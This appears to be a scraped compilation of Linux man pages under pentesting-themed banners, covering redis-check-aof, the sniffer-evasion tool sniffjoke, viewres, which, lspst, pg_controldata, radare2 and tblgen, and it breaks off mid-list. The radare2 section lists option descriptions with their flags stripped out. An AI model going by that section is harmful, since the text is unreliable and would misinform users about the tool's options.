  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1052 - Linux cli command redis-check-aof

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command redis-check-aof and provides detailed information about the command redis-check-aof, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the redis-check-aof.

NAME 🖥️ redis-check-aof 🖥️

check-aof - Check integrity of a Redis .AOF file

SYNOPSIS

redis-check-aof filename

DESCRIPTION

Redis is a key-value database. It is similar to memcached but the dataset is not volatile and other datatypes (such as lists and sets) are natively supported.

This utility checks the integrity of a dumped .AOF file.

AUTHOR

redis-check-aof was written by Salvatore Sanfilippo.

This manual page was written by Chris Lamb <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1053 - Linux cli command sniffjoke

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sniffjoke and provides detailed information about the command sniffjoke, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sniffjoke.

NAME 🖥️ sniffjoke 🖥️

SYNOPSIS

sniffjoke [OPTION]…

DESCRIPTION

This software is a single peer sniffer obfuscator. when you start SniffJoke from your network privileges, the outgoing internet connections became scattered with fake data - without interfere with your sessions - and confusing the sniffers in the network when their algorithms try to follow your stream.

The options usefull when sniffjoke is started (by hand or by init script)

SNIFFJOKE OPTIONS

–location <name> specify the network environment (suggested) [default: generic]. use the script “sniffjoke-autotest” for the generation of the correct environment. eg: in your office, in your home, for every friend where you connect your computer, you need a different ’location’. the first time you need to use sniffjoke from a location, you run the autotest and automatically are checked the different combinations of available plugins+scrambles.

–dir <name> specify the base directory where the location resides [default: /usr/local/var/sniffjoke/] [using both location and dir defaults, the configuration status will not be saved]

–user <username> downgrade priviledge to the specified user [default: nobody]

–gw-mac-addr <XX:YY:KK:PP:00:RR> specify the default gateway mac address. by default is not required, because SniffJoke use some auto detection commands in order to acquire the local network informations. In some distribution, a fatal exception is triggered when tried, in those case this option became mandatory for the correct execution of SniffJoke.

–group <groupname> downgrade priviledge to the specified group [default: nogroup]

–whitelist inject evasion packets only in the specified ip addresses. blacklist and whitelist are mutually exclusive.

–blacklist inject evasion packet in all session excluding the blacklisted ip address. blacklist and whitelist are mutually exclusive.

–start if present, evasion is activated immediatly [default: not present], for start/stop/reconfigure sniffjoke while running, use sniffjokectl

–debug <level 1-6> set up verbosity level [default: 2] 1: suppress log, 2: common, 3: verbose, 4: debug, 5: session 6: packets

–foreground execute sniffjoke with foreground logging [default:background]

–admin <ip>[:port] specify administration IP address [default: 127.0.0.1:8844]

–force force restart (usable when another sniffjoke service is running)

–version show sniffjoke version

–help show a command line options resume

When sniffjoke is running, it keeps on memory the configuration settings and dump them in a binary file, sniffjoke run under chroot directory and inside that there are files usefull for sniffjoke and for the user.

When sniffjoke is running, you should send commands using sniffjokect.

SEMI-SECRET OPTION

This semi-secret option is used in testing within sniffjoke-autotest

–only-plugin plugin_name.so,SINGLESCRAMBLEUSED

[*] DEFAULTS:

The default values are hardcoded in the software, passed at compile time from the building script, maybe a distribution-specific package will contain different paths.

AUTHOR

Claudio Agosti <[email protected]>, Giovanni Pellerano <[email protected]>

REPORTING BUGS

Report bugs to <[email protected]>.

COPYRIGHT

Copyright (GPL) 2008,2009,2010,2011 Claudio Agosti & Giovanni Pellerano.
This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

http://www.delirandom.net/sniffjoke

sniffjokectl(1) sniffjoke-autotest(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1054 - Linux cli command viewres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command viewres and provides detailed information about the command viewres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the viewres.

NAME 🖥️ viewres 🖥️

graphical class browser for Xt

SYNOPSIS

viewres [-option …]

DESCRIPTION

The viewres program displays a tree showing the widget class hierarchy of the Athena Widget Set. Each node in the tree can be expanded to show the resources that the corresponding class adds (i.e. does not inherit from its parent) when a widget is created. This application allows the user to visually examine the structure and inherited resources for the Athena Widget Set.

OPTIONS

Viewres accepts all of the standard toolkit command line options as well as the following:

-top name
This option specifies the name of the highest widget in the hierarchy to display. This is typically used to limit the display to a subset of the tree. The default is Object.

-variable
This option indicates that the widget variable names (as declared in header files) should be displayed in the nodes rather than the widget class name. This is sometimes useful to distinguish widget classes that share the same name (such as Text).

-vertical
This option indicates that the tree should be displayed top to bottom rather left to right.

VIEW MENU

The way in which the tree is displayed may be changed through the entries in the View menu:

Show Variable Names
This entry causes the node labels to be set to the variable names used to declare the corresponding widget class. This operation may also be performed with the SetLabelType(variable) translation.

Show Class Names
This entry causes the node labels to be set to the class names used when specifying resources. This operation may also be performed with the SetLabelType(class) translation.

Layout Horizontal
This entry causes the tree to be laid out from left to right. This operation may also be performed with the SetOrientation(West) translation.

Layout Vertical
This entry causes the tree to be laid out from top to bottom. This operation may also be performed with the SetOrientation(North) translation.

Show Resource Boxes
This entry expands the selected nodes (see next section) to show the new widget and constraint resources. This operation may also be performed with the Resources(on) translation.

Hide Resource Boxes
This entry removes the resource displays from the selected nodes (usually to conserve space). This operation may also be performed with the Resources(off) translation.

SELECT MENU

Resources for a single widget class can be displayed by clicking Button2 on the corresponding node, or by adding the node to the selection list with Button1 and using the Show Resource Boxes entry in the View menu. Since Button1 actually toggles the selection state of a node, clicking on a selected node will cause it to be removed from the selected list.

Collections of nodes may also be selected through the various entries in the Select menu:

Unselect All
This entry removes all nodes from the selection list. This operation may also be performed with the Select(nothing) translation.

Select All
This entry adds all nodes to the selection list. This operation may also be performed with the Select(all) translation.

Invert All
This entry adds unselected nodes to, and removes selected nodes from, the selection list. This operation may also be performed with the Select(invert) translation.

Select Parent
This entry selects the immediate parents of all selected nodes. This operation may also be performed with the Select(parent) translation.

Select Ancestors
This entry recursively selects all parents of all selected nodes. This operation may also be performed with the Select(ancestors) translation.

Select Children
This entry selects the immediate children of all selected nodes. This operation may also be performed with the Select(children) translation.

Select Descendants
This entry recursively selects all children of all selected nodes. This operation may also be performed with the Select(descendants) translation.

Select Has Resources
This entry selects all nodes that add new resources (regular or constraint) to their corresponding widget classes. This operation may also be performed with the Select(resources) translation.

Select Shown Resource Boxes
This entry selects all nodes whose resource boxes are currently expanded (usually so that they can be closed with Hide Resource Boxes). This operation may also be performed with the Select(shown) translation.

ACTIONS

The following application actions are provided:

Quit()

This action causes viewres to exit.

SetLabelType(type)
This action sets the node labels to display the widget variable or class names, according to the argument type.

SetOrientation(direction)
This action sets the root of the tree to be one of the following areas of the window: West, North, East, or South.

Select(what)
This action selects the indicated nodes, as described in the VIEW MENU section: nothing (unselects all nodes), invert, parent, ancestors, children, descendants, resources, shown.

Resources(op)
This action turns on, off, or toggles the resource boxes for the selected nodes. If invoked from within one of the nodes (through the keyboard or pointer), only that node is used.

WIDGET HIERARCHY

Resources may be specified for the following widgets:

Viewres viewres
        Paned pane
                Box buttonbox
                        Command quit
                        MenuButton view
                                SimpleMenu viewMenu
                                        SmeBSB layoutHorizontal
                                        SmeBSB layoutVertical
                                        SmeLine line1
                                        SmeBSB namesVariable
                                        SmeBSB namesClass
                                        SmeLine line2
                                        SmeBSB viewResources
                                        SmeBSB viewNoResources
                        MenuButton select
                                SimpleMenu selectMenu
                                        SmeBSB unselect
                                        SmeBSB selectAll
                                        SmeBSB selectInvert
                                        SmeLine line1
                                        SmeBSB selectParent
                                        SmeBSB selectAncestors
                                        SmeBSB selectChildren
                                        SmeBSB selectDescendants
                                        SmeLine line2
                                        SmeBSB selectHasResources
                                        SmeBSB selectShownResources
                Form treeform
                        Porthole porthole
                                Tree tree
                                        Box variable-name
                                                Toggle variable-name
                                                List variable-name
                        Panner panner

where variable-name is the widget variable name of each node.

SEE ALSO

X(7), xrdb(1), listres(1), editres(1), appres(1), appropriate widget documents

AUTHOR

Jim Fulton, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1055 - Linux cli command which

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command which and provides detailed information about the command which, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the which.

NAME 🖥️ which 🖥️

locate a command

SYNOPSIS

which [-as] filename …

DESCRIPTION

which returns the pathnames of the files (or links) which would be executed in the current environment, had its arguments been given as commands in a strictly POSIX-conformant shell. It does this by searching the PATH for executable files matching the names of the arguments. It does not canonicalize path names.

OPTIONS

-a
print all matching pathnames of each argument

-s
silently return 0 if all of the executables were found or 1 otherwise

EXIT STATUS

0
if all specified commands are found and executable

1
if one or more specified commands is nonexistent or not executable

2
if an invalid option is specified

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1056 - Linux cli command htmltreep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command htmltreep and provides detailed information about the command htmltreep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the htmltreep.

NAME 🖥️ htmltreep 🖥️

Parse the given HTML file(s) and dump the parse tree

SYNOPSIS

htmltree -D3 -w file1 file2 file3

Options: -D[number] sets HTML::TreeBuilder::Debug to that figure. -w turns on $tree->warn(1) for the new tree -h Help message

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1057 - Linux cli command lspst

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lspst and provides detailed information about the command lspst, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lspst.

NAME 🖥️ lspst 🖥️

list PST (MS Outlook Personal Folders) file data

SYNOPSIS

lspst [-V] [-d debug-file] [-f date-format] [-l] [-h] pstfile

OPTIONS

-V

Show program version and exit.

-d debug-file

Specify name of debug log file. The log file is now an ascii file, instead of the binary file used in previous versions.

-f date-format

Select the date format for long format listing. Defaults to “%F %T”.

-l

Use long format listing to show the Date, CC and BCC headers.

-h

Show summary of options and exit.

DESCRIPTION

lspst is a program that can read an Outlook PST (Personal Folders) file and produce a simple listing of the data (contacts, email subjects, etc).

AUTHOR

lspst was written by Joe Nahmias <[email protected]> based on readpst. This man page was written by 510 Software Group <[email protected]>.

COPYRIGHT

Copyright (C) 2004 by Joe Nahmias <[email protected]>.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

You should have received a copy of the GNU General Public License along with this program; see the file COPYING. If not, please write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.

VERSION

0.6.76

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1058 - Linux cli command make-cadir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command make-cadir and provides detailed information about the command make-cadir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the make-cadir.

NAME 🖥️ make-cadir 🖥️

cadir - create certificates dir

SYNOPSIS

make-cadir DIR

DESCRIPTION

Creates a NEW directory, copying and linking any necessary files from the easy-rsa package.

The specified DIR must not exist.

AUTHOR

Written by Alberto Gonzalez Iniesta

COPYRIGHT

Copyright © 2012 Alberto Gonzalez Iniesta License GPLv2: GNU GPL version 2
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1059 - Linux cli command pg_controldata

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_controldata and provides detailed information about the command pg_controldata, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_controldata.

NAME 🖥️ pg_controldata 🖥️

display control information of a PostgreSQL database cluster

SYNOPSIS

pg_controldata [option] [[-D | –pgdata]datadir]

DESCRIPTION

pg_controldata prints information initialized during initdb, such as the catalog version. It also shows information about write-ahead logging and checkpoint processing. This information is cluster-wide, and not specific to any one database.

This utility can only be run by the user who initialized the cluster because it requires read access to the data directory. You can specify the data directory on the command line, or use the environment variable PGDATA. This utility supports the options -V and –version, which print the pg_controldata version and exit. It also supports options -? and –help, which output the supported arguments.

ENVIRONMENT

PGDATA

Default data directory location

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1060 - Linux cli command radare2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command radare2 and provides detailed information about the command radare2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the radare2.

radare2 is a command-line hexadecimal editor.

“r2” is the alias program name for radare2.

This manpage is not updated yet. Feel free to contribute.

The options are:

Open radare2 on an empty file

Equivalent of ‘r2 malloc://512’

Print � after initialization and after every command executed

Close stderr before starting RCore

force asm.arch (x86, ppc, arm, mips, bf, java, …)

run ‘aaa’ command before prompt or patch to analyze all referenced code. Use -AA to run aaaa

force asm.bits (16, 32, 64)

Specify the base address to be used when loading a new binary. See ’e?bin.baddr’

Execute the given command before giving prompt

Start in debugger mode

Enable debug mode. Set cfg.debug=true

Set configuration eval variable key=value. For example -e scr.color=false. When -e is passed after -j, it will set the script source to run instead of setting eval vars.

Blocksize = file size

Run QJS script if an argument is passed or enter the qjs shell if no file is specified. You can evaluate expressions when passing the -e flag after the -j.

Run script file. After the file is loaded

Run script file. Before the file is loaded

Select kernel (asm.os) for syscall resolution

Load given plugin file

List loaded IO plugins.

List loaded core plugins.

map file at given address

Disable demangling

Do not perform any analysis (r_bin). Just load the raw file

Only load the rbin structures (elf, mach0, …)

Do not load user settings/projects from ~/.radare2rc, ~/.config/radare2/radare2rc and the scripts inside …/radare2rc.d/ directory.

Same as -N but also disables the automatic loading of plugins on startup time

Quiet mode (no prompt) and quit after running the commands specified with -i or -c

Quit before showing the prompt. Right after all the -e -c and -i arguments are evaluated.

Same as q, but exiting without freeing RCore, this produces leaks at exit time, but saves some precious ms to run the testsuite in fast mode.

Set project file

Apply rapatch file and quit (see doc/rapatch.md for more details)

Specify dbg.profile rarun2 profile to use when spawning a program for debugging

Specify custom rarun2 directives without having to create a rarun2 profile

Start seeking at this address

Enable sandboxed mode (same as -e cfg.sandbox=true)

Get binary information and analyze binary in a background thread

Avoid computing the file hashes

Set bin.filter=false to load rbin info without filtering names

Show version information and exit (Use -qv to get just the version number)

Show radare2 library versions (prints JSON format if -j is used)

Open in write mode

Show help message

Show files and environment help

Open the file map without executable permissions

Same as -e bin.usextr=false, do not use extract plugins, useful for dyldcache

Type ‘?’ for help

To enter visual mode use the ‘V’ command. Then press ‘?’ for help

In r2 the debugger commands are implemented under the ’d’ command. Type ’d?’ for help

R2_ARGS run radare2 with defined arguments in environment and ignore cli ones R2_IGNVER load plugins ignoring the specified version. (be careful) R2_DEBUG if defined, show error messages and crash signal R2_DEBUG_ASSERT=1 set a breakpoint when hitting an assert R2_MAGICPATH /Users/pancake/.local/share/radare2/share/radare2/4.5.0-git/magic R2_NOPLUGINS do not load r2 shared plugins R2_RCFILE ~/.radare2rc (user preferences, batch script) R2_RDATAHOME /usr/local

path to the current working file.

pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1061 - Linux cli command tblgen-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tblgen-16 and provides detailed information about the command tblgen-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tblgen-16.

NAME 🖥️ tblgen-16 🖥️

Description to C++ Code

SYNOPSIS

clang-tblgen [options] [filename]

lldb-tblgen [options] [filename]

llvm-tblgen [options] [filename]

mlir-tblgen [options] [filename]

DESCRIPTION

*-tblgen is a family of programs that translates target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler, debugger, and LLVM target backends.

The details of the input and output of the *-tblgen programs is beyond the scope of this short introduction; please see the TableGen Overview for an introduction and for references to additional TableGen documents.

The filename argument specifies the name of the Target Description (.td) file that TableGen processes.

OPTIONS

General Options

-help
Print a description of the command line options.

-help-list
Print a description of the command line options in a simple list format.

-D=macroname
Specify the name of a macro to be defined. The name is defined, but it has no particular value.

-d=filename
Specify the name of the dependency filename.

-debug
Enable debug output.

-dump-json
Print a JSON representation of all records, suitable for further automated processing.

-I directory
Specify where to find other target description files for inclusion. The directory value should be a full or partial path to a directory that contains target description files.

-null-backend
Parse the source files and build the records, but do not run any backend. This is useful for timing the frontend.

-o filename
Specify the output file name. If filename is -, then *-tblgen sends its output to standard output.

-print-records
Print all classes and records to standard output (default backend option).

-print-detailed-records
Print a detailed report of all global variables, classes, and records to standard output.

-stats
Print a report with any statistics collected by the backend.

-time-phases
Time the parser and backend phases and print a report.

-version
Show the version number of the program.

-write-if-changed
Write the output file only if it is new or has changed.

clang-tblgen Options

-gen-clang-attr-classes
Generate Clang attribute clases.

-gen-clang-attr-parser-string-switches
Generate all parser-related attribute string switches.

-gen-clang-attr-subject-match-rules-parser-string-switches
Generate all parser-related attribute subject match rule string switches.

-gen-clang-attr-impl
Generate Clang attribute implementations.

-gen-clang-attr-list"
Generate a Clang attribute list.

-gen-clang-attr-subject-match-rule-list
Generate a Clang attribute subject match rule list.

-gen-clang-attr-pch-read
Generate Clang PCH attribute reader.

-gen-clang-attr-pch-write
Generate Clang PCH attribute writer.

-gen-clang-attr-has-attribute-impl
Generate a Clang attribute spelling list.

-gen-clang-attr-spelling-index
Generate a Clang attribute spelling index.

-gen-clang-attr-ast-visitor
Generate a recursive AST visitor for Clang attributes.

-gen-clang-attr-template-instantiate
Generate a Clang template instantiate code.

-gen-clang-attr-parsed-attr-list
Generate a Clang parsed attribute list.

-gen-clang-attr-parsed-attr-impl
Generate the Clang parsed attribute helpers.

-gen-clang-attr-parsed-attr-kinds
Generate a Clang parsed attribute kinds.

-gen-clang-attr-text-node-dump
Generate Clang attribute text node dumper.

-gen-clang-attr-node-traverse
Generate Clang attribute traverser.

-gen-clang-diags-defs
Generate Clang diagnostics definitions.

-clang-component component
Only use warnings from specified component.

-gen-clang-diag-groups
Generate Clang diagnostic groups.

-gen-clang-diags-index-name
Generate Clang diagnostic name index.

-gen-clang-basic-reader
Generate Clang BasicReader classes.

-gen-clang-basic-writer
Generate Clang BasicWriter classes.

-gen-clang-comment-nodes
Generate Clang AST comment nodes.

-gen-clang-decl-nodes
Generate Clang AST declaration nodes.

-gen-clang-stmt-nodes
Generate Clang AST statement nodes.

-gen-clang-type-nodes
Generate Clang AST type nodes.

-gen-clang-type-reader
Generate Clang AbstractTypeReader class.

-gen-clang-type-writer
Generate Clang AbstractTypeWriter class.

-gen-clang-opcodes
Generate Clang constexpr interpreter opcodes.

-gen-clang-sa-checkers
Generate Clang static analyzer checkers.

-gen-clang-comment-html-tags
Generate efficient matchers for HTML tag names that are used in documentation comments.

-gen-clang-comment-html-tags-properties
Generate efficient matchers for HTML tag properties.

-gen-clang-comment-html-named-character-references
Generate function to translate named character references to UTF-8 sequences.

-gen-clang-comment-command-info
Generate command properties for commands that are used in documentation comments.

-gen-clang-comment-command-list
Generate list of commands that are used in documentation comments.

-gen-clang-opencl-builtins
Generate OpenCL builtin declaration handlers.

-gen-arm-neon
Generate arm_neon.h for Clang.

-gen-arm-fp16
Generate arm_fp16.h for Clang.

-gen-arm-bf16
Generate arm_bf16.h for Clang.

-gen-arm-neon-sema
Generate ARM NEON sema support for Clang.

-gen-arm-neon-test
Generate ARM NEON tests for Clang.

-gen-arm-sve-header
Generate arm_sve.h for Clang.

-gen-arm-sve-builtins
